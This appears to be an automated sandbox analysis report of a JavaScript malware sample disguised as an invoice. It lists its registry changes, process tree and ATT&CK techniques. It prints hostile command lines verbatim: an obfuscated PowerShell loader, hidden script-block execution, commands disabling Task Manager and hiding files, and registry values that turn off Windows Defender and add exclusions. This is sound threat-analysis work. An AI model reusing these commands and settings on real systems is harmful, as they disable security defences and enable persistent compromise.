9148d2b6261ad24c5d585fabc348dc4df3db5cda6b667e84ee3215d23df3f86d

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	prevhost.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 7 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	prevhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBlockAtFirstSeen = "1"	prevhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	prevhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	prevhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	prevhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	prevhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	prevhost.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	prevhost.exe

Windows security bypass 2 TTPs 14 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	prevhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files\YourApp = "0"	prevhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	prevhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\vbs = "0"	prevhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\jar = "0"	prevhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\AnotherApp.exe = "0"	prevhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YourApp = "0"	prevhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\exe = "0"	prevhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\bat = "0"	prevhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\ps1 = "0"	prevhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\js = "0"	prevhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\py = "0"	prevhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	prevhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\YourApp.exe = "0"	prevhost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3544	powershell.exe
448	powershell.exe
1988	powershell.exe
3512	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
4620	prevhost.exe

Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	prevhost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\prevhost = "C:\\Users\\Admin\\AppData\\Roaming\\prevhost.exe"	prevhost.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
44	icanhazip.com

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4720	cmd.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1188 set thread context of 4816	1188	prevhost.exe	123
PID 1188 set thread context of 2748	1188	prevhost.exe	131

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	prevhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	prevhost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3544	powershell.exe
3544	powershell.exe
3512	powershell.exe
3512	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
1988	powershell.exe
1988	powershell.exe
448	powershell.exe
448	powershell.exe
1188	prevhost.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
448	powershell.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe
1188	prevhost.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
448	powershell.exe
448	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3544	powershell.exe
Token: SeDebugPrivilege	3512	powershell.exe
Token: SeDebugPrivilege	448	powershell.exe
Token: SeIncreaseQuotaPrivilege	448	powershell.exe
Token: SeSecurityPrivilege	448	powershell.exe
Token: SeTakeOwnershipPrivilege	448	powershell.exe
Token: SeLoadDriverPrivilege	448	powershell.exe
Token: SeSystemProfilePrivilege	448	powershell.exe
Token: SeSystemtimePrivilege	448	powershell.exe
Token: SeProfSingleProcessPrivilege	448	powershell.exe
Token: SeIncBasePriorityPrivilege	448	powershell.exe
Token: SeCreatePagefilePrivilege	448	powershell.exe
Token: SeBackupPrivilege	448	powershell.exe
Token: SeRestorePrivilege	448	powershell.exe
Token: SeShutdownPrivilege	448	powershell.exe
Token: SeDebugPrivilege	448	powershell.exe
Token: SeSystemEnvironmentPrivilege	448	powershell.exe
Token: SeRemoteShutdownPrivilege	448	powershell.exe
Token: SeUndockPrivilege	448	powershell.exe
Token: SeManageVolumePrivilege	448	powershell.exe
Token: 33	448	powershell.exe
Token: 34	448	powershell.exe
Token: 35	448	powershell.exe
Token: 36	448	powershell.exe
Token: SeDebugPrivilege	1188	prevhost.exe
Token: SeIncreaseQuotaPrivilege	448	powershell.exe
Token: SeSecurityPrivilege	448	powershell.exe
Token: SeTakeOwnershipPrivilege	448	powershell.exe
Token: SeLoadDriverPrivilege	448	powershell.exe
Token: SeSystemProfilePrivilege	448	powershell.exe
Token: SeSystemtimePrivilege	448	powershell.exe
Token: SeProfSingleProcessPrivilege	448	powershell.exe
Token: SeIncBasePriorityPrivilege	448	powershell.exe
Token: SeCreatePagefilePrivilege	448	powershell.exe
Token: SeBackupPrivilege	448	powershell.exe
Token: SeRestorePrivilege	448	powershell.exe
Token: SeShutdownPrivilege	448	powershell.exe
Token: SeDebugPrivilege	448	powershell.exe
Token: SeSystemEnvironmentPrivilege	448	powershell.exe
Token: SeRemoteShutdownPrivilege	448	powershell.exe
Token: SeUndockPrivilege	448	powershell.exe
Token: SeManageVolumePrivilege	448	powershell.exe
Token: 33	448	powershell.exe
Token: 34	448	powershell.exe
Token: 35	448	powershell.exe
Token: 36	448	powershell.exe
Token: SeIncreaseQuotaPrivilege	448	powershell.exe
Token: SeSecurityPrivilege	448	powershell.exe
Token: SeTakeOwnershipPrivilege	448	powershell.exe
Token: SeLoadDriverPrivilege	448	powershell.exe
Token: SeSystemProfilePrivilege	448	powershell.exe
Token: SeSystemtimePrivilege	448	powershell.exe
Token: SeProfSingleProcessPrivilege	448	powershell.exe
Token: SeIncBasePriorityPrivilege	448	powershell.exe
Token: SeCreatePagefilePrivilege	448	powershell.exe
Token: SeBackupPrivilege	448	powershell.exe
Token: SeRestorePrivilege	448	powershell.exe
Token: SeShutdownPrivilege	448	powershell.exe
Token: SeDebugPrivilege	448	powershell.exe
Token: SeSystemEnvironmentPrivilege	448	powershell.exe
Token: SeRemoteShutdownPrivilege	448	powershell.exe
Token: SeUndockPrivilege	448	powershell.exe
Token: SeManageVolumePrivilege	448	powershell.exe
Token: 33	448	powershell.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1480 wrote to memory of 3544	1480	wscript.exe	87
PID 1480 wrote to memory of 4720	1480	wscript.exe	89
PID 4720 wrote to memory of 3512	4720	cmd.exe	91
PID 4720 wrote to memory of 4356	4720	cmd.exe	92
PID 4720 wrote to memory of 4084	4720	cmd.exe	93
PID 4720 wrote to memory of 692	4720	cmd.exe	94
PID 4720 wrote to memory of 3036	4720	cmd.exe	95
PID 4720 wrote to memory of 3932	4720	cmd.exe	96
PID 4720 wrote to memory of 3956	4720	cmd.exe	97
PID 4720 wrote to memory of 4684	4720	cmd.exe	98
PID 4720 wrote to memory of 1732	4720	cmd.exe	99
PID 4720 wrote to memory of 448	4720	cmd.exe	100
PID 4720 wrote to memory of 2480	4720	cmd.exe	102
PID 448 wrote to memory of 3768	448	powershell.exe	109
PID 3768 wrote to memory of 1100	3768	csc.exe	110
PID 448 wrote to memory of 4040	448	powershell.exe	111
PID 4040 wrote to memory of 1824	4040	csc.exe	112
PID 448 wrote to memory of 4920	448	powershell.exe	113
PID 448 wrote to memory of 1628	448	powershell.exe	114
PID 4920 wrote to memory of 1188	4920	msiexec.exe	118
PID 4920 wrote to memory of 1188	4920	msiexec.exe	118
PID 4920 wrote to memory of 1188	4920	msiexec.exe	118
PID 1188 wrote to memory of 1988	1188	prevhost.exe	119
PID 1188 wrote to memory of 4816	1188	prevhost.exe	123
PID 1188 wrote to memory of 4816	1188	prevhost.exe	123
PID 1188 wrote to memory of 4816	1188	prevhost.exe	123
PID 1188 wrote to memory of 4816	1188	prevhost.exe	123
PID 1188 wrote to memory of 4816	1188	prevhost.exe	123
PID 1188 wrote to memory of 4816	1188	prevhost.exe	123
PID 1188 wrote to memory of 4816	1188	prevhost.exe	123
PID 1188 wrote to memory of 4816	1188	prevhost.exe	123
PID 1188 wrote to memory of 2748	1188	prevhost.exe	131
PID 1188 wrote to memory of 2748	1188	prevhost.exe	131
PID 1188 wrote to memory of 2748	1188	prevhost.exe	131
PID 1188 wrote to memory of 2748	1188	prevhost.exe	131
PID 1188 wrote to memory of 2748	1188	prevhost.exe	131
PID 1188 wrote to memory of 2748	1188	prevhost.exe	131
PID 1188 wrote to memory of 2748	1188	prevhost.exe	131
PID 1188 wrote to memory of 2748	1188	prevhost.exe	131

Views/modifies file attributes 1 TTPs 9 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
692	attrib.exe
3932	attrib.exe
4684	attrib.exe
1732	attrib.exe
2480	attrib.exe
4356	attrib.exe
3036	attrib.exe
3956	attrib.exe
4084	attrib.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	prevhost.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\STATEMENT OF ACCOUNT&_INV NO. 7801.js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command $JAGDP=$env:WLUA;$BSVY=$env:VXWTTRHO;$TCWI=$env:WEDA+$env:LBYJXM+$env:NYWLIB+'.'+$env:IGFTMB;[void][IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName($TCWI));$YAHKQ=foreach($FSFG in [IO.File]::ReadAllLines($BSVY)){if($FSFG.IndexOf($JAGDP)-eq 0){$FSFG.Substring($JAGDP.Length)}};[IO.File]::WriteAllLines($TCWI,[string[]]@($YAHKQ),[Text.Encoding]::ASCII)
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c call "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\20267201787236646606.cmd" & attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\20267201787236646606.cmd"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:XLFPUYOWMWX))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3512
- - C:\Windows\system32\attrib.exe
    attrib -h -s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\*.cmd"
    3⤵
    - Views/modifies file attributes
    PID:4356
- - C:\Windows\system32\attrib.exe
    attrib -h -s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\*.bat"
    3⤵
    - Views/modifies file attributes
    PID:4084
- - C:\Windows\system32\attrib.exe
    attrib -h -s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\timezone_db\timezone_db.dat"
    3⤵
    - Views/modifies file attributes
    PID:692
- - C:\Windows\system32\attrib.exe
    attrib -h -s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\timezone_db\timezone_db_PDSHXTBW.cmd"
    3⤵
    - Views/modifies file attributes
    PID:3036
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\timezone_db\timezone_db.dat"
    3⤵
    - Views/modifies file attributes
    PID:3932
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\timezone_db\timezone_db_PDSHXTBW.cmd"
    3⤵
    - Views/modifies file attributes
    PID:3956
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\timezone_db"
    3⤵
    - Views/modifies file attributes
    PID:4684
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\20267201787236646606.cmd"
    3⤵
    - Views/modifies file attributes
    PID:1732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:XLFPUYOWMWX))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:448
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4hhoxx3q\4hhoxx3q.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3768
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA989.tmp" "c:\Users\Admin\AppData\Local\Temp\4hhoxx3q\CSC6A0FB6207D07474DB3C4E41ABD977FFD.TMP"
        5⤵
        
        PID:1100
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hrx3k2ax\hrx3k2ax.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4040
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAAF1.tmp" "c:\Users\Admin\AppData\Local\Temp\hrx3k2ax\CSC79CF4552543B4157BF80CE55A166EDF3.TMP"
        5⤵
        
        PID:1824
  - - C:\Windows\system32\msiexec.exe
      "C:\Windows\system32\msiexec.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4920
    - - C:\Windows\system32\prevhost.exe
        
        "C:\Windows\system32\prevhost.exe"
        5⤵
        Modifies Windows Defender DisableAntiSpyware settings
        Modifies Windows Defender Real-time Protection settings
        Modifies Windows Defender TamperProtection settings
        Windows security bypass
        Accesses Microsoft Outlook profiles
        Adds Run key to start application
        Suspicious use of SetThreadContext
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        outlook_office_path
        
        PID:1188
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "New-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'DisableTaskMgr' -Value 1 -PropertyType DWord -Force"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1988
      - C:\Windows\System32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" all -k --output-path "C:\Users\Admin\AppData\Local\Temp\bf681542cb6e63531a6eace9f2503531"
        6⤵
        
        PID:4816
      - C:\Windows\System32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" all -k --output-path "C:\Users\Admin\AppData\Local\Temp\bf681542cb6e63531a6eace9f2503531"
        6⤵
        
        PID:2748
  - - C:\Windows\system32\choice.exe
      "C:\Windows\system32\choice.exe"
      4⤵
      PID:1628
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\20267201787236646606.cmd"
    3⤵
    - Views/modifies file attributes
    PID:2480

C:\Users\Admin\AppData\Roaming\prevhost.exe
C:\Users\Admin\AppData\Roaming\prevhost.exe
1⤵
- Executes dropped EXE
PID:4620

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry